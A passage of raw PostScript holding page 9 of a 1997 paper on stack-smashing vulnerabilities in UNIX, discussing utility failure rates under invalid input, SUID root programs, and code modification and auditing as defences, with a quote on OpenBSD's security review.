(UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3314 6536 M (platforms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4019 6536 M (originate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4676 6536 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5067 6536 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5920 6536 M (vendors, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 6536 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6861 6536 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7176 6536 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1586 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1841 6260 M (`) ST -5 0 MR (f) ST -5 0 MR (r) ST -5 0 MR (e) ST -5 0 MR (e) ST -6 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2239 6260 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2707 6260 M (community. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3601 6260 M (It ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3755 6260 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3918 6260 M (interesting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4672 6260 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4853 6260 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5191 6260 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5747 6260 M (average ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6317 6260 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6804 6260 M (rate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7106 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (tools ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1590 5984 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1885 5984 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 5984 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3093 5984 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3314 5984 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3572 5984 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4414 5984 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5097 5984 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5680 5984 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6123 5984 M (ranged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6631 5984 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7011 5984 M (18% ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5984 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (43%, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1593 5708 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2007 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2255 5708 M (average ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2818 5708 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3298 5708 M (rate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3593 5708 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3777 5708 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4025 5708 M (Linux/GNU ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4873 5708 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5416 5708 M (ranged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5914 5708 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6284 5708 M (6% ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6551 5708 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6725 5708 M (9%. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7076 5708 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 5708 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5432 M (study, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1646 5432 M (failure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2123 5432 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2424 5432 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2965 5432 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3146 5432 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3818 5432 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4109 5432 M (crashed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4660 5432 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4997 5432 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5113 5432 M (core ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 5432 M (dump ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5863 5432 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 5432 M (hung, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6460 5432 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6862 5432 M (presented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5156 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1575 5156 M (invalid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2106 5156 M (data. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2537 5156 M (While ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3013 5156 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 5156 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3800 5156 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4009 5156 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4282 5156 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4982 5156 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5440 5156 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5639 5156 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5949 5156 M (study ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6379 5156 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6773 5156 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7232 5156 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4880 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1971 4880 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2431 4880 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2660 4880 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 4880 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 4880 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4226 4880 M (trusted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4769 4880 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5025 4880 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5504 4880 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5862 4880 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6624 4880 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6954 4880 M (flawless ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4604 M (operation was assumed.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4328 M (Modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2493 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2769 4328 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3156 4328 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3340 4328 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3616 4328 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3984 4328 M (near ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4344 4328 M (foolproof ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5046 4328 M (method ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5618 4328 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5830 4328 M (insuring ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6448 4328 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6770 4328 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7232 4328 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4052 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1889 4052 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2141 4052 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2401 4052 M (exploited. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3151 4052 M (Not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3448 4052 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3791 4052 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4070 4052 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4358 4052 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4775 4052 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5231 4052 M (overflows ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5945 4052 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6122 4052 M (programs, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6842 4052 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7102 4052 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7242 4052 M (will ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3776 M (build ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1608 3776 M (faster, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2085 3776 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2492 3776 M (efficient, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3153 3776 M (robust ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3633 3776 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4011 3776 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4370 3776 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4906 3776 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5099 3776 M (non-security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5995 3776 M (areas ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6402 3776 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6605 3776 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 3776 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3500 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1809 3500 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2129 3500 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2874 3500 M (project ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3397 3500 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3680 3500 M (paid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4027 3500 M (special ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4550 3500 M (attention ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3500 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5382 3500 M (this, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5725 3500 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5925 3500 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6143 3500 M (chief ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6537 3500 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7014 3500 M (hacker, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3224 M (Theo DeRaadt commented in a recent e-mail:) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2200 2974 M (``During ) ST -2 0 MR (the ) ST -2 0 MR (OpenBSD ) ST -2 0 MR (security ) ST -2 0 MR (code ) ST -2 0 MR (review ) ST -2 0 MR (that ) ST -2 0 MR (we've ) ST -2 0 MR (been ) ST -2 0 MR (doing ) ST -3 0 MR (for) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2814 M (almost a year now, we have fixed numerous other robustness problems.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2654 M (Just as a small example, more than 10 ways to make ftpd dump core have) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2494 M (been resolved. Thousands of non-security bugs got fixed at the same) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2334 M (time. When you are looking at each source file one by one, it is an ideal) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2174 M (time to evaluate what problems and solutions other OS groups have) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2200 2014 M (d) ST -7 0 MR (o) ST -7 0 MR (n) ST -7 0 MR (e) ST -7 0 MR (.) ST -7 0 MR (') ST -7 0 MR (') ST GR %%PageTrailer AXPageSave restore showpage %%Page: 24 24 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (13) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( ftp://ftp.lucky.net/pub/unix/local/libc-letter) 2430 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9848 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2028 9848 M (disadvantages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3022 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3222 9848 M (manually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3902 9848 M (modifying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4656 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4883 9848 M (affected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5481 9848 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6172 9848 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6344 9848 M (obvious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6931 9848 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 9848 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (subject ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1742 9572 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2438 9572 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2828 9572 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3051 9572 M (checked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3662 9572 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3894 9572 M (hand ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4283 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 9572 M (recompiled. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5488 9572 M (Thousands ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6275 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6480 9572 M (lines ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6860 9572 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7065 9572 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1586 9296 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1979 9296 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2362 9296 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2597 9296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3220 9296 M (calls ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3594 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3903 9296 M (UID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4268 9296 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4983 9296 M (privileges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5708 9296 M (examined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6424 9296 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6733 9296 M (changed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7398 9296 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (necessary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1997 9020 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2195 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2457 9020 M (free ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2776 9020 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3463 9020 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3985 9020 M (arena, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4447 9020 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5034 9020 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5398 9020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5596 9020 M (Linux, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6094 9020 M (FreeBSD, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6816 9020 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1496 8744 M (NetBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 8744 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2472 8744 M (full ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2752 8744 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3236 8744 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3599 8744 M (distributions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4479 8744 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5128 8744 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5372 8744 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5836 8744 M (use. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6191 8744 M (Complete ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6887 8744 M (copies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 8744 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1467 8468 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2150 8468 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2668 8468 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3139 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3434 8468 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3952 8468 M (utilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4505 8468 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4847 8468 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5059 8468 M (downloaded ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 8468 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6221 8468 M (modified, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 8468 M (allowing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (anyone ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1791 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2025 8192 M (fix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2315 8192 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2762 8192 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3496 8192 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4636 8192 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5393 8192 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5637 8192 M (contrast ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6269 8192 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6503 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6848 8192 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (commercial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2054 7916 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2537 7916 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3232 7916 M (systems ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3827 7916 M (have ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4208 7916 M (limited, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4788 7916 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 7916 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5264 7916 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5766 7916 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6147 7916 M (availability. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7045 7916 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 7916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7640 M (chief ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1584 7640 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2517 7640 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3173 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3348 7640 M (avoiding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3975 7640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4363 7640 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5038 7640 M (holes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5435 7640 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5610 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5859 7640 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6321 7640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6995 7640 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (global ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 7364 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2031 7364 M (auditing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2621 7364 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2778 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3027 7364 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3397 7364 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4108 7364 M (in ) ST GR 0.0000 0.0000 